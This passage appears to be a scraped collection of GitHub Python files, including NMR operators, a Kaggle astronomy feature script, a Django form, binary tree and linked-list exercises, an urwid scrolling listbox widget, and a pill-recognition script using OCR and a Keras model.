for each spin\n Orders: list\n List of the diagonal orders of each spin\n\n Returns\n -------\n ndarray:\n Values of the non-zero elements of the detect matrix\n ndarray:\n Values of the elements of the RhoZero matrix (same selection as the detect matrix)\n ndarray:\n Row positions where the elements must be put\n ndarray:\n Column positions where the elements must be put\n \"\"\"\n RhoZero = np.array([])\n RowPos = np.array([])\n ColPos = np.array([])\n Detect = np.array([])\n DetectAll = all([spin.Detect for spin in SpinList])\n if DetectAll: #If all detcted, use fast routine\n #Rho and Detect are equal (with a factor), and only Rho is calculated and used\n Detect = None\n for spin, _ in enumerate(SpinList):\n IxLine = 0.5 * IpList[spin][:-Orders[spin]] #Make the Ix line.\n RhoZero = np.append(RhoZero, IxLine)\n RowPos = np.append(RowPos, np.arange(len(IxLine))) #Row position of elements\n ColPos = np.append(ColPos, np.arange(len(IxLine)) + Orders[spin]) #Column position of elements\n if not DetectAll:\n if SpinList[spin].Detect: #Add to detection\n Detect = np.append(Detect, IxLine*2) #Factor 2 because Iplus = 2 * Ix\n else:\n Detect = np.append(Detect, IxLine*0)\n #Filter for zero elements\n UsedElem = np.where(RhoZero != 0.0)\n RhoZero = RhoZero[UsedElem]\n RowPos = RowPos[UsedElem]\n ColPos = ColPos[UsedElem]\n if not DetectAll:\n Detect = Detect[UsedElem]\n return Detect, RhoZero, RowPos, ColPos\n","repo_name":"smeerten/jellyfish","sub_path":"operators.py","file_name":"operators.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"39432482032","text":"import pandas as pd\nfrom scipy import stats\n\nimport os\n\nROOT = os.path.join(\"/run/media/neko/HDD/ARTIFICIAL_INTELLIGENCE_DATA_SCIENCE\",\n \"KAGGLE_COMPETITIONS\")\nCOMPETITION = \"PLAsTiCC_Astronomical_Classification/all\"\n\nTRAIN_CSV = os.path.join(ROOT, COMPETITION, \"training_set.csv\")\nTRAIN_METADATA_CSV = os.path.join(ROOT, COMPETITION,\n \"training_set_metadata.csv\")\n\nTEST_CSV = os.path.join(ROOT, COMPETITION, \"test_set.csv\")\nTEST_SAMPLE_CSV = os.path.join(ROOT, COMPETITION, \"test_set_sample.csv\")\nTEST_METADATA_CSV = os.path.join(ROOT, COMPETITION, \"test_set_metadata.csv\")\n\nassert (os.path.exists(TRAIN_CSV))\nassert (os.path.exists(TRAIN_METADATA_CSV))\nassert (os.path.exists(TEST_CSV))\nassert (os.path.exists(TEST_SAMPLE_CSV))\nassert (os.path.exists(TEST_METADATA_CSV))\n\nf = pd.read_csv(TRAIN_CSV)\nfm = pd.read_csv(TRAIN_METADATA_CSV)\n\naggs = {\n # \"mjd\": [\"min\", \"max\", \"size\"],\n \"passband\": [\"min\", \"max\", \"mean\", \"median\", \"std\", \"sum\", \"skew\"],\n \"flux\": [\"min\", \"max\", \"mean\", \"median\", \"std\", \"skew\"],\n \"flux_err\": [\"min\", \"max\", \"mean\", \"median\", \"std\", \"skew\"],\n \"detected\": [\"mean\", \"median\", \"sum\", \"skew\"],\n # \"flux_ratio_sq\": [\"sum\", \"skew\"],\n # \"flux_by_flux_ratio_sq\": [\"sum\", \"skew\"],\n}\n\nfagg = f.groupby(\"object_id\").agg(aggs)\nnew_columns = [k + \"_\" + agg for k in aggs.keys() for agg in aggs[k]]\nfagg.columns = new_columns\n\ndf_train = fagg.reset_index().merge(right=fm, on=\"object_id\", how=\"outer\")\n\n# id_label = df_train[[\"object_id\", \"target\"]]\n\nprint(df_train.head())\n# print(fm.groupby(\"target\"))\n# print(df_train.iloc[0])\n# print(df_train.iloc[0].drop(\"object_id\").values)\n# print(id_label.head())\n","repo_name":"KushamiNeko/practices","sub_path":"PLAsTiCC_Astronomical_Classification/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"29931547406","text":"from django import forms\nfrom .models import Book\n\nfrom cloudinary.forms import CloudinaryFileField\n\n\n\nclass BookForm(forms.ModelForm):\n image = CloudinaryFileField(options={\n 'crop': 'thumb',\n 'width': 200,\n 'height': 200,\n 'folder': 'tagme'\n })\n class Meta:\n model = Book\n fields = ['title', 'description', 'tags', 'image']","repo_name":"lyamaa/django_taggme","sub_path":"books/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"22068443260","text":"# 首先我们创建一个二叉树结点类。并加入插入节点的方法\n\nclass Btree(object):\n def __init__(self,value):\n self.left = None\n self.data = value\n self.right = None\n self.parent = None\n\n def insert_left(self,value):\n self.left = Btree(value)\n self.left.parent = self\n return self.left\n\n def insert_right(self,value):\n self.right = Btree(value)\n self.right.parent = self\n return self.right\n\n def show(self):\n print(self.data)\n\n# 手动创建一个二叉树 root为根节点,a,b分别为root的左右子节点,c、d分别为a的左右子节点,e是b的左子节点\n\n# root = Btree('R')\n# a = root.insert_left('A')\n# b = root.insert_right('B')\n# c = a.insert_left('C')\n# d = a.insert_right('D')\n# e = b.insert_left('E')\n\n\n\"\"\"\n二叉树中最常见的就是它的三种遍历方式:前序遍历、中序遍历、后序遍历。\n前序遍历的方式为:中-左-右;中序遍历的方式为:左-中-右;\n后序遍历的方式为:左-右-中。需要注意的是:对于一棵排序二叉树,它的中序遍��就是各元素从小到大的排序。\n使用递归的方式来对二叉树进行三种遍历,三个函数的思路完全一样,十分简单。\n\"\"\"\n\nclass OrderMethod():\n def pre_order(self,node):\n if node.data:\n node.show()\n if node.left:\n self.pre_order(node.left)\n if node.right:\n self.pre_order(node.right)\n\n def middle_order(self,node):\n if node.data: \n if node.left:\n self.middle_order(node.left)\n node.show()\n if node.right:\n self.middle_order(node.right)\n\n def post_order(self,node):\n if node.data:\n if node.left:\n self.post_order(node.left)\n if node.right:\n self.post_order(node.right)\n node.show()\n\n def lookup(self,root):\n stack = [root]\n while stack:\n current = stack.pop(0)\n current.show()\n if current.left:\n stack.append(current.left)\n if current.right:\n stack.append(current.right)\n\n def insert(self,node,value):\n if value>node.data:\n if node.right == None:\n node.insert_right(value)\n else:\n self.insert(node.right,value)\n else:\n if node.left == None:\n node.insert_left(value)\n else:\n self.insert(node.left,value)\n\n def search(self,node,k):\n while node != None:\n if k < node.data:\n node = node.left\n elif k >node.data:\n node = node.right\n else:\n return k\n return 0 \n\n\n\n\nroot = Btree('R')\na = root.insert_left('A')\nb = root.insert_right('B')\nc = a.insert_left('C')\nd = a.insert_right('D')\ne = b.insert_left('E')\nf = b.insert_right('F')\n\nM = OrderMethod()\n\nprint(M.pre_order(root))\n\"\"\"\noutput:\nR\nA\nC\nD\nB\nE\nNone\n\"\"\"\n\n# print(M.middle_order(root))\n\n\"\"\"\noutput:\nC\nA\nD\nR\nE\nB\nNone\n\"\"\"\n# print(M.post_order(root))\n\n\"\"\"\nC\nD\nA\nE\nB\nR\nNone\n\n\"\"\"\n# print(M.lookup(root))\n\"\"\"\noutput\nR\nA\nB\nC\nD\nE\nNone\n\"\"\"\n\n# L = [4,3,6,13,61,38,22,41]\n# new_Root= Btree(L[0]) # 创建根节点\n# for i in range(1,len(L)):\n# M.insert(new_Root,L[i])\n# print(M.middle_order(new_Root))\n\n\"\"\"\noutput:\n3\n4\n6\n13\n22\n38\n41\n61\nNone\n\"\"\"\n\n\n","repo_name":"Nobodylesszb/LeetCode","sub_path":"python/binary_tree/二叉树前中后序实现.py","file_name":"二叉树前中后序实现.py","file_ext":"py","file_size_in_byte":3483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28889067464","text":"from chap2_linked_list.linked_list import *\n\n\ndef loop_detection(ll: LinkedList):\n \"\"\"\n Detect if there is a loop in the linked list.\n :param ll: linked list\n :return: node at the beginning of the loop\n \"\"\"\n fast = slow = ll.head\n\n while fast and fast.next:\n fast = fast.next.next\n slow = slow.next\n if fast is slow:\n break\n\n if fast is None or fast.next is None:\n return None\n\n slow = ll.head\n while fast is not slow:\n fast = fast.next\n slow = slow.next\n\n return fast\n\n\ndef test_loop_detection():\n looped_list = LinkedList([\"A\", \"B\", \"C\", \"D\", \"E\"])\n loop_start_node = looped_list.head.next.next\n looped_list.tail.next = loop_start_node\n tests = [\n (LinkedList(), None),\n ((LinkedList((1, 2, 3))), None),\n (looped_list, loop_start_node),\n ]\n\n for ll, expected in tests:\n assert loop_detection(ll) == expected\n\n\nif __name__ == \"__main__\":\n test_loop_detection()\n","repo_name":"Swiftly-sheep-reviewer/cracking-code-interview","sub_path":"chap2_linked_list/2_8_loop_detection.py","file_name":"2_8_loop_detection.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39787685857","text":"from __future__ import division\nimport logging\nlogger = logging.getLogger(__name__.split(\".\")[0])\n\nimport urwid\nfrom urwid_utils.palette import *\nfrom .scroll import ScrollBar\n\nclass ListBoxScrollBar(urwid.WidgetWrap):\n\n def __init__(self, parent):\n self.parent = parent\n self.pile = urwid.Pile([])\n super(ListBoxScrollBar, self).__init__(self.pile)\n\n def update(self, size):\n width, height = size\n scroll_marker_height = 1\n del self.pile.contents[:]\n if (len(self.parent.body)\n and self.parent.row_count\n and self.parent.focus is not None\n and self.parent.row_count > height):\n scroll_position = int(\n self.parent.focus_position / self.parent.row_count * height\n )\n scroll_marker_height = max( height * (height / self.parent.row_count ), 1)\n else:\n scroll_position = 0\n\n pos_marker = urwid.AttrMap(urwid.Text(\" \"),\n {None: \"scroll_pos\"}\n )\n\n down_marker = urwid.AttrMap(urwid.Text(u\"\\N{DOWNWARDS ARROW}\"),\n {None: \"scroll_marker\"}\n )\n\n begin_marker = urwid.AttrMap(urwid.Text(u\"\\N{CIRCLED MINUS}\"),\n {None: \"scroll_marker\"}\n )\n\n end_marker = urwid.AttrMap(urwid.Text(u\"\\N{CIRCLED PLUS}\"),\n {None: \"scroll_marker\"}\n )\n\n view_marker = urwid.AttrMap(urwid.Text(\" \"),\n {None: \"scroll_view\"}\n )\n\n bg_marker = urwid.AttrMap(urwid.Text(\" \"),\n {None: \"scroll_bg\"}\n )\n\n for i in range(height):\n if abs( i - scroll_position ) <= scroll_marker_height//2:\n if i == 0 and self.parent.focus_position == 0:\n marker = begin_marker\n elif i+1 == height and self.parent.row_count == self.parent.focus_position+1:\n marker = end_marker\n elif self.parent.focus_position is not None and len(self.parent.body) == self.parent.focus_position+1 and i == scroll_position + scroll_marker_height//2:\n marker = down_marker\n else:\n marker = pos_marker\n else:\n if i < scroll_position:\n marker = view_marker\n elif self.parent.row_count and i/height < ( len(self.parent.body) / self.parent.row_count):\n marker = view_marker\n else:\n marker = bg_marker\n self.pile.contents.append(\n (urwid.Filler(marker), self.pile.options(\"weight\", 1))\n )\n self._invalidate()\n\n def selectable(self):\n # FIXME: mouse click/drag\n return False\n\nclass ScrollingListBox(urwid.WidgetWrap):\n\n signals = [\"select\",\n \"drag_start\", \"drag_continue\", \"drag_stop\",\n \"load_more\"]\n\n scrollbar_class = ScrollBar\n\n def __init__(self, body,\n infinite = False,\n with_scrollbar=False,\n row_count_fn = None,\n thumb_char=None,\n trough_char=None,\n thumb_indicator_top=None,\n thumb_indicator_bottom=None):\n\n self.infinite = infinite\n self.with_scrollbar = with_scrollbar\n self.row_count_fn = row_count_fn\n\n self._width = None\n self._height = 0\n self._rows_max = None\n\n self.mouse_state = 0\n self.drag_from = None\n self.drag_last = None\n self.drag_to = None\n self.load_more = False\n self.page = 0\n\n self.queued_keypress = None\n w = self.listbox = urwid.ListBox(body)\n\n self.columns = urwid.Columns([\n ('weight', 1, self.listbox)\n ])\n if self.with_scrollbar:\n self.scroll_bar = ListBoxScrollBar(self)\n self.columns.contents.append(\n (self.scroll_bar, self.columns.options(\"given\", 1))\n )\n super(ScrollingListBox, self).__init__(self.columns)\n urwid.connect_signal(self.body, \"modified\", self.on_modified)\n\n def on_modified(self):\n if self.with_scrollbar and len(self.body):\n self.scroll_bar.update(self.size)\n\n def rows_max(self, size, focus=False):\n return urwid.ListBox.rows_max(self, size, focus)\n\n\n @classmethod\n def get_palette_entries(cls):\n\n return {\n\n \"scroll_pos\": PaletteEntry(\n mono = \"white\",\n foreground = \"black\",\n background = \"white\",\n foreground_high = \"black\",\n background_high = \"white\"\n ),\n \"scroll_marker\": PaletteEntry(\n mono = \"white,bold\",\n foreground = \"black,bold\",\n background = \"white\",\n foreground_high = \"black,bold\",\n background_high = \"white\"\n ),\n \"scroll_view\": PaletteEntry(\n mono = \"black\",\n foreground = \"black\",\n background = \"light gray\",\n foreground_high = \"black\",\n background_high = \"g50\"\n ),\n \"scroll_bg\": PaletteEntry(\n mono = \"black\",\n foreground = \"light gray\",\n background = \"dark gray\",\n foreground_high = \"light gray\",\n background_high = \"g23\"\n ),\n\n }\n\n def mouse_event(self, size, event, button, col, row, focus):\n\n SCROLL_WHEEL_HEIGHT_RATIO = 0.5\n if row < 0 or row >= self._height or not len(self.listbox.body):\n return\n if event == 'mouse press':\n if button == 1:\n self.mouse_state = 1\n self.drag_from = self.drag_last = (col, row)\n elif button == 4:\n pos = self.listbox.focus_position - int(self._height * SCROLL_WHEEL_HEIGHT_RATIO)\n if pos < 0:\n pos = 0\n self.listbox.focus_position = pos\n self.listbox.make_cursor_visible(size)\n self._invalidate()\n elif button == 5:\n pos = self.listbox.focus_position + int(self._height * SCROLL_WHEEL_HEIGHT_RATIO)\n if pos > len(self.listbox.body) - 1:\n if self.infinite:\n self.load_more = True\n pos = len(self.listbox.body) - 1\n self.listbox.focus_position = pos\n self.listbox.make_cursor_visible(size)\n self._invalidate()\n elif event == 'mouse drag':\n if self.drag_from is None:\n return\n if button == 1:\n self.drag_to = (col, row)\n if self.mouse_state == 1:\n self.mouse_state = 2\n urwid.signals.emit_signal(\n self, \"drag_start\",self, self.drag_from\n )\n else:\n urwid.signals.emit_signal(\n self, \"drag_continue\",self,\n self.drag_last, self.drag_to\n )\n\n self.drag_last = (col, row)\n\n elif event == 'mouse release':\n if self.mouse_state == 2:\n self.drag_to = (col, row)\n urwid.signals.emit_signal(\n self, \"drag_stop\",self, self.drag_from, self.drag_to\n )\n self.mouse_state = 0\n return super(ScrollingListBox, self).mouse_event(size, event, button, col, row, focus)\n\n\n def keypress(self, size, key):\n\n command = self._command_map[key]\n if not command:\n return super(ScrollingListBox, self).keypress(size, key)\n\n # down, page down at end trigger load of more data\n if (\n command in [\"cursor down\", \"cursor page down\"]\n and self.infinite\n and (\n not len(self.body)\n or self.focus_position == len(self.body)-1)\n ):\n self.load_more = True\n self.queued_keypress = key\n self._invalidate()\n\n elif command == \"activate\":\n urwid.signals.emit_signal(self, \"select\", self, self.selection)\n\n # else:\n return super(ScrollingListBox, self).keypress(size, key)\n\n @property\n def selection(self):\n\n if len(self.body):\n return self.body[self.focus_position]\n\n @property\n def size(self):\n return (self._width, self._height)\n\n def render(self, size, focus=False):\n\n maxcol = size[0]\n self._width = maxcol\n if len(size) > 1:\n maxrow = size[1]\n modified = self._height == 0\n self._height = maxrow\n if modified:\n self.on_modified()\n else:\n self._height = 0\n\n # print\n # print\n # print self.listbox.get_focus_offset_inset(size)\n if (self.load_more\n and (len(self.body) == 0\n or \"bottom\" in self.ends_visible((maxcol, maxrow))\n )\n ):\n\n self.load_more = False\n self.page += 1\n # old_len = len(self.body)\n try:\n focus = self.focus_position\n except IndexError:\n focus = None\n urwid.signals.emit_signal(\n self, \"load_more\", focus)\n if (self.queued_keypress\n and focus is not None\n # and focus < len(self.body)-1\n ):\n # logger.info(f\"send queued keypress: {focus}, {len(self.body)}\")\n self.keypress(size, self.queued_keypress)\n self.queued_keypress = None\n # self.listbox._invalidate()\n # self._invalidate()\n\n return super(ScrollingListBox, self).render(size, focus)\n\n\n def disable(self):\n self.selectable = lambda: False\n\n def enable(self):\n self.selectable = lambda: True\n\n @property\n def contents(self):\n return self.columns.contents\n\n @property\n def focus(self):\n return self.listbox.focus\n\n @property\n def focus_position(self):\n if not len(self.listbox.body):\n raise IndexError\n try:\n return self.listbox.focus_position\n except IndexError:\n pass\n return None\n\n @focus_position.setter\n def focus_position(self, value):\n if not len(self.body):\n return\n self.listbox.focus_position = value\n self.listbox._invalidate()\n\n def __getattr__(self, attr):\n if attr in [\"ends_visible\", \"focus_position\", \"set_focus\", \"set_focus_valign\", \"body\", \"focus\"]:\n return getattr(self.listbox, attr)\n # elif attr == \"body\":\n # return self.walker\n raise AttributeError(attr)\n\n @property\n def row_count(self):\n if self.row_count_fn:\n return self.row_count_fn()\n return len(self.body)\n\n__all__ = [\"ScrollingListBox\"]\n","repo_name":"tonycpsu/panwid","sub_path":"panwid/listbox.py","file_name":"listbox.py","file_ext":"py","file_size_in_byte":11202,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"35"} +{"seq_id":"70173594022","text":"import os\nimport warnings\nwarnings.filterwarnings(action='ignore')\nos.environ['TF_XLA_FLAGS'] = '--tf_xla_enable_xla_devices'\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nfrom keras.preprocessing.image import img_to_array\nfrom keras.models import load_model\nimport keras\nimport numpy as np\nimport argparse\nimport imutils\nimport pickle\nimport cv2\nimport pandas as pd\nfrom PIL import Image\nimport io\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=\"whatsthepill-a6a1b7680b12.json\"\nfrom google.cloud import vision\nfrom google.cloud.vision_v1 import types\nimport argparse\nimport tensorflow as tf\ntf.autograph.set_verbosity(3)\nimport logging\ntf.get_logger().setLevel(logging.ERROR)\n\n\ndef findtext(img_dir) :\n client = vision.ImageAnnotatorClient()\n\n file_name = os.path.join(os.path.abspath(\"__file__\"), img_dir)\n\n file_name = img_dir\n with io.open(file_name, 'rb') as image_file:\n content = image_file.read()\n\n image = types.Image(content=content)\n\n respose = client.text_detection(image=image)\n labels = respose.text_annotations\n\n for label in labels:\n # print(label.description)\n textlist.append(label.description)\n\n return textlist\n\n\ndef test(img_dir):\n image = cv2.imread(img_dir)\n output = imutils.resize(image, width=400)\n\n image = cv2.resize(image, (96, 96))\n image = image.astype(\"float\") / 255.0\n image = img_to_array(image)\n image = np.expand_dims(image, axis=0)\n model = load_model('./model/multilabel_model.h5')\n mlb = pickle.loads(open('./model/labelbin.txt', \"rb\").read())\n\n # print(\"[INFO] classifying image...\")\n proba = model.predict(image)[0]\n idxs = np.argsort(proba)[::-1][:4]\n for (i, j) in enumerate(idxs):\n\n label = \"{}: {:.2f}%\".format(mlb.classes_[j], proba[j] * 100)\n # cv2.putText(output, label, (10, (i * 30) + 25),\n # cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 255, 0), 2)\n shapecolor.append(mlb.classes_[j])\n # print(label)\n\n\n cv2.waitKey(0)\n return shapecolor\n\n# def mergeimg(img1_dir,img2_dir) :\ndef mergeimg():\n parser = argparse.ArgumentParser()\n parser.add_argument('img1_dir', type=str, help=\"what is the first img\")\n parser.add_argument('img2_dir', type=str, help=\"what is the second img\")\n args = parser.parse_args()\n\n img1_dir= args.img1_dir\n img2_dir =args.img2_dir\n\n image1 = Image.open(img1_dir)\n image2 = Image.open(img2_dir)\n\n image1_size = image1.size\n\n new_image = Image.new('RGB', (2 * image1_size[0], image1_size[1]), (250, 250, 250))\n new_image.paste(image1, (0, 0))\n new_image.paste(image2, (image1_size[0], 0))\n new_image.save(\"input.jpeg\", \"JPEG\")\n\ndef get_jaccard_sim(str1, str2):\n a = set(str1)\n b = set(str2)\n c = a.intersection(b)\n return float(len(c)) / (len(a) + len(b) - len(c))\n\n\nif __name__ == \"__main__\":\n\n mergeimg()\n # mergeimg('./image/199603003_2_1.png','./image/199603003_2_2.png')\n img = Image.open('input.jpeg')\n img_resize = img.resize((int(img.width / 2), int(img.height / 2)))\n img_resize.save('input.jpeg')\n textlist = []\n textlist = findtext('input.jpeg')\n ######################\n # print(textlist)\n xlsx = pd.read_excel('pillist.xlsx', usecols='A,H,I,F,G', engine='openpyxl')\n showpilllist = []\n pilllist = []\n indexlist = []\n # print(ord())\n euyakpoomjaehyung = chr(51032) + chr(50557) + chr(54408) + chr(51228) + chr(54805)\n saeksangap = chr(49353) + chr(49345) + chr(50526)\n poommoknumber = chr(54408) + chr(47785) + chr(51068) + chr(47144) + chr(48264) + chr(54840)\n pyosiap = chr(54364)+chr(49884)+chr(50526)\n pyosidui = chr(54364)+chr(49884)+chr(46244)\n\n if not textlist :\n pilllist = []\n # shapecolor = []\n # os.system(\"python3 main.py -i input.jpeg -o input-out.png -m u2net -prep None -postp No\")\n # shapecolor = test('input-out.png')\n # # shapecolor = test('input.jpeg')\n #\n # # test('./input-out.png')\n # print(shapecolor)\n # shape = []\n # color = []\n # for a in range(len(shapecolor)):\n # if shapecolor[a][-1] == chr(54805):\n # shape.append(shapecolor[a])\n # else:\n # color.append(shapecolor[a])\n #\n # print(color)\n # print(shape)\n # ############################\n #\n #\n # for c in range(len(color)):\n # for s in range(len(shape)):\n # for index in range(23936):\n # if (xlsx[euyakpoomjaehyung][index] == shape[s] and xlsx[saeksangap][index] == color[c]):\n # pilllist.append(xlsx[poommoknumber][index])\n\n # print(len(pilllist))\n # print(pilllist[:5])\n\n else :\n check = 0\n for a in range(len(textlist)):\n textlist[a] = textlist[a].rstrip('\\n')\n textlist[a] = textlist[a].replace('\\n', ' ')\n textlist[a] = textlist[a].replace('\\'', '')\n textlist[a] = textlist[a].replace('.', '')\n # textlist[a] = unicodedata.normalize('NFC' , textlist[a])\n # import difflib\n # print('\\n'.join(difflib.ndiff('СС+', 'CC+')))\n # print('\\n'.join(difflib.ndiff('CC+', 'CC+')))\n textlist[a] = textlist[a].replace('СС+', 'CC+')\n if ' ' in textlist[0] :\n textlist.append(textlist[0].replace(' ', ''))\n check = 1\n\n # print(textlist)\n for index in range(23935):\n if check == 0 :\n if (textlist[0] == str(xlsx[pyosiap][index])) or (textlist[0] == str(xlsx[pyosidui][index])) :\n if xlsx[poommoknumber][index] != 200806190 and xlsx[poommoknumber][index] != 200806191 and xlsx[poommoknumber][index] != 200806192:\n if xlsx[poommoknumber][index] not in pilllist :\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n else :\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n else :\n if (textlist[0] == str(xlsx[pyosiap][index])) or (textlist[0] == str(xlsx[pyosidui][index])) or (textlist[-1] == str(xlsx[pyosiap][index])) or (textlist[-1] == str(xlsx[pyosidui][index])) :\n if xlsx[poommoknumber][index] != 200806190 and xlsx[poommoknumber][index] != 200806191 and xlsx[poommoknumber][index] != 200806192:\n if xlsx[poommoknumber][index] not in pilllist :\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n else :\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n\n if not pilllist:\n # print('B')\n for index in range(23935):\n for c in range(len(textlist)):\n if (textlist[c] == str(xlsx[pyosiap][index])):\n for d in range(len(textlist)):\n if (textlist[d] == str(xlsx[pyosidui][index])):\n if xlsx[poommoknumber][index] != 200806190 and xlsx[poommoknumber][\n index] != 200806191 and xlsx[poommoknumber][index] != 200806192:\n if xlsx[poommoknumber][index] not in pilllist:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n else:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n\n for index in range(23935):\n for c in range(len(textlist)):\n if (textlist[c] == str(xlsx[pyosidui][index])):\n for d in range(len(textlist)):\n if (textlist[d] == str(xlsx[pyosiap][index])):\n if xlsx[poommoknumber][index] != 200806190 and xlsx[poommoknumber][\n index] != 200806191 and xlsx[poommoknumber][index] != 200806192:\n if xlsx[poommoknumber][index] not in pilllist:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n else:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n\n\n for index in range(23935):\n for c in range(len(textlist)) :\n if (textlist[c] == str(xlsx[pyosiap][index])) or (textlist[c] == str(xlsx[pyosidui][index])) :\n if xlsx[poommoknumber][index] != 200806190 and xlsx[poommoknumber][index] != 200806191 and xlsx[poommoknumber][index] != 200806192:\n if xlsx[poommoknumber][index] not in pilllist:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n else:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n\n if not pilllist :\n # print('C')\n for index in range(23935):\n for c in range(len(textlist)):\n if (textlist[c] in str(xlsx[pyosiap][index])) or (textlist[c] in str(xlsx[pyosidui][index])) :\n if xlsx[poommoknumber][index] != 200806190 and xlsx[poommoknumber][index] != 200806191 and xlsx[poommoknumber][index] != 200806192:\n if xlsx[poommoknumber][index] not in pilllist:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n else:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n\n if not pilllist :\n # print('D')\n for index in range(23935):\n for c in range(len(textlist)):\n if get_jaccard_sim(textlist[c],str(xlsx[pyosiap][index])) >= 0.5 or get_jaccard_sim(textlist[c],str(xlsx[pyosidui][index])) >= 0.5 :\n if xlsx[poommoknumber][index] != 200806190 and xlsx[poommoknumber][index] != 200806191 and xlsx[poommoknumber][index] != 200806192:\n if xlsx[poommoknumber][index] not in pilllist:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n else:\n pilllist.append(xlsx[poommoknumber][index])\n indexlist.append(index)\n\n # print(len(pilllist))\n # print(pilllist)\n\n ############################\n if len(pilllist) == 1 :\n showpilllist = pilllist\n elif len(pilllist) > 0 :\n os.system(\"python3 main.py -i input.jpeg -o input-out.png -m u2net -prep None -postp No\")\n shapecolor = []\n shapecolor = test('input-out.png')\n\n shape = []\n color = []\n for a in range(len(shapecolor)) :\n if shapecolor[a][-1] == chr(54805):\n shape.append(shapecolor[a])\n else :\n color.append(shapecolor[a])\n # print(shape)\n # print(color)\n ############################\n for c in range(len(color)):\n for s in range(len(shape)):\n for index in range(len(indexlist)):\n if (xlsx[euyakpoomjaehyung][indexlist[index]] == shape[s] and xlsx[saeksangap][indexlist[index]] == color[c]) :\n if xlsx[poommoknumber][indexlist[index]] not in showpilllist:\n showpilllist.append(xlsx[poommoknumber][indexlist[index]])\n\n\n\n if not showpilllist:\n\n if len(pilllist) > 5 :\n temp=''\n for i in pilllist[:5]:\n temp=temp+str(i)+','\n print(temp)\n else :\n temp=''\n for i in pilllist:\n temp=temp+str(i)+','\n print(temp)\n else:\n\n temp=''\n for i in showpilllist[:5]:\n temp=temp+str(i)+','\n print(temp)\n \n\n\n\n\n\n\n","repo_name":"kookmin-sw/capstone-2021-22","sub_path":"AI/AImain/modelmain_modify.py","file_name":"modelmain_modify.py","file_ext":"py","file_size_in_byte":12571,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"301945227","text":"# day3 of the advent of code\n# by Geir Owe\n\n#read the test puzzle input\n#map_file = open('day3_test_puzzle_input.txt', 'r')\n\n#read the puzzle input\nmap_file = open('day3_puzzle_input.txt', 'r')\n\n#challenge:\n# Starting at the top-left corner of your map and \n# following a slope of right 3 and down 1, how many trees would you encounter?\n\n#where to start, what lane and how to move\nmyPosition = 0\ncurrentLane = 1\nmove = 3\naThree = '#'\nnoOfThrees = 0\n\n#let´s get going - move ahead and stop; then go to next lane and check what's there\nfor lane in map_file:\n lane = lane.strip() #remove any trailing spaces or line-shift\n if myPosition == 0:\n myPosition = myPosition + move\n else:\n #the lane is not a line - it's a circle\n if myPosition > (len(lane)-1): #since length of lane starts from 1 and myPosition starts from zero\n myPosition = 0 + (myPosition - len(lane)) \n \n currentLane = currentLane + 1 #get down to next lane\n if lane[myPosition] == aThree:\n noOfThrees = noOfThrees + 1\n #if currentLane >= 100 and currentLane <= 105:\n # print('row: ', currentLane)\n # print('position: ', myPosition+1)\n # print('what is here: ', lane[myPosition])\n myPosition = myPosition + move #move 3 ahead\n\nprint('Number of threes in my way:', noOfThrees)","repo_name":"GeirOwe/adventOfCode","sub_path":"day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"5584031800","text":"from django.conf.urls import url,include\nfrom . import views\napp_name=\"book\"\n#homepage\nurlpatterns=[\n\nurl(r'^$',views.index,name='index'),\nurl(r'^signup$',views.signup,name='signup'),\nurl(r'^login$',views.login,name='login'),\nurl(r'^homepage$',views.homepage,name='homepage'),\nurl(r'^logout$',views.logout_view,name='logout'),\n#url(r'^markdownx/', include('markdownx.urls')),\n\n\n]","repo_name":"Sammy94/djangologin","sub_path":"book/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20396955272","text":"\"\"\"\nScript for reading a module of cuts implemented in python and applying them to a dataset\n\nNeeds to import a module from the command line, find what cuts it contains and apply them to our dataset\n\nAssumes cut functions start cut*\n\n\"\"\"\nimport argparse\nimport importlib\nimport inspect\nimport numpy as np\nimport uproot\n\n\ndef write_root_file(data, filename, tree_name):\n \"\"\"\n Write a python dict of data to a ROOT file\n\n \"\"\"\n # Create a dict of {branchname : type} that we use to declare our tree\n data_types = {key: type(data[key][0]) for key in data}\n tree = uproot.newtree(data_types)\n\n # Declare the ROOT file\n print(f\"Creating ROOT file '{filename}'\")\n root_file = uproot.recreate(filename)\n root_file[tree_name] = tree\n\n # Fill tree\n print(f\"Populating ROOT file with tree '{tree_name}'\")\n 